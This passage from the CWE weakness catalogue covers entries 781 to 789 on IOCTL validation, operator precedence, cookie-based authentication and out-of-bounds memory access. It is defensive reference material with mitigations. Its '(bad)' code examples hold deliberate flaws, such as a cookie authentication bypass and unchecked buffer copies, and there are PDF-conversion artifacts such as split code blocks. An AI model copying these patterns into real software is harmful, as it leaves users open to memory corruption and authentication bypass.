This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

## CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code

**Weakness ID** : 781

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software defines an IOCTL that uses METHOD\_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

### Extended Description

When an IOCTL uses the METHOD\_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Operating\_System** : Windows NT (Prevalence = Sometimes)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	Read Memory	
Confidentiality	Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart	
	<i>An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.</i>	

## Potential Mitigations

### Phase: Implementation

If METHOD\_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD\_NEITHER is being used. See References.

### Phase: Architecture and Design

If possible, avoid using METHOD\_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD\_BUFFERED, METHOD\_IN\_DIRECT, or METHOD\_OUT\_DIRECT.

### Phase: Architecture and Design

### Phase: Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

## Notes

### Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

### Research Gap

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

## CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID : 782

Status: Draft

Structure : Simple

Abstraction : Variant

## Description

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

## Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Notes

### Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD\_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

### Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

## CWE-783: Operator Precedence Logic Error

**Weakness ID** : 783

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The program uses an expression in which operator precedence causes incorrect logic to be used.

### Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		670	Always-Incorrect Control Flow Implementation	1330

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	1991
MemberOf		569	Expression Issues	1994

### Applicable Platforms

**Language** : C (Prevalence = Rarely)

**Language** : C++ (Prevalence = Rarely)

**Language** : Language-Independent (Prevalence = Rarely)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	Unexpected State	
Availability	<i>The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.</i>	

### Potential Mitigations

#### Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

### Demonstrative Examples

#### Example 1:

In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

*Example Language: C*

*(bad)*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
    }
    return isUser;
}
```

```
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C

(good)

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...

```

### Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java

(bad)

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}

```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java

(good)

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...

```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

## CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

<b>Weakness ID</b> : 784	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

## Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. **Technology** : Web Based (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

#### Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

#### Phase: Architecture and Design

Add integrity checks to detect tampering.

#### Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

### Demonstrative Examples

#### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

*Example Language: Java*

*(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

**Example 2:**

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(bad)

```
$auth = $_COOKIES['authenticated'];
if (!$auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

**Example 3:**

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(bad)

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

## CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

**Weakness ID** : 785

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH\_MAX.

### Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include `realpath()`, `readlink()`, `PathAppend()`, and others.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	284
ChildOf		676	Use of Potentially Dangerous Function	1341

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX\_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	DoS: Crash, Exit, or Restart	

## Potential Mitigations

### Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

## Demonstrative Examples

### Example 1:

In this example the function creates a directory named "output\<>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C

(bad)

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX\_PATH bytes.

## Notes

### Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective.

For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

## CWE-786: Access of Memory Location Before Start of Buffer

<b>Weakness ID</b> : 786	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

## Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

## Relationships

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart  <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i>	
Integrity	Modify Memory Execute Unauthorized Code or Commands  <i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.</i>	

### Demonstrative Examples

#### Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer overwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

#### Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Example 3:**

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C

(bad)

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

## CWE-787: Out-of-bounds Write

**Weakness ID :** 787

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software writes data past the end, or before the beginning, of the intended buffer.

### Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Applicable Platforms

**Language** : C (*Prevalence = Often*)

**Language** : C++ (*Prevalence = Often*)

**Language** : Assembly (*Prevalence = Undetermined*)

### Alternate Terms

**Memory Corruption** : The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
	Execute Unauthorized Code or Commands	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

### Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

### Phase: Operation

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

### Phase: Operation

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

### Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).*

## Demonstrative Examples

### Example 1:

The following code attempts to save four different identification numbers into an array.

*Example Language: C*

*(bad)*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to `id_sequence[3]` is out of bounds.

### Example 2:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

*Example Language: C*

*(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
```

```
strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

#### Example 4:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

#### Example 5:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
}
```

```
message[index] = '\0';
// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
    message[len] = '\0';
    len--;
}
// return string without trailing whitespace
retMessage = message;
return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

### Example 6:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

*Example Language: C*

*(bad)*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests `MAX_NUM_WIDGETS`, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

### Example 7:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

*Example Language: C*

*(bad)*

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

## CWE-788: Access of Memory Location After End of Buffer

**Weakness ID** : 788

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart  <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity	Modify Memory Execute Unauthorized Code or Commands  <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i>	

## Demonstrative Examples

### Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

### Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if ('&' == user_supplied_string[i]){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i]){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

#### Example 4:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

## CWE-789: Memory Allocation with Excessive Size Value

<b>Weakness ID</b> : 789	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

## Relationships

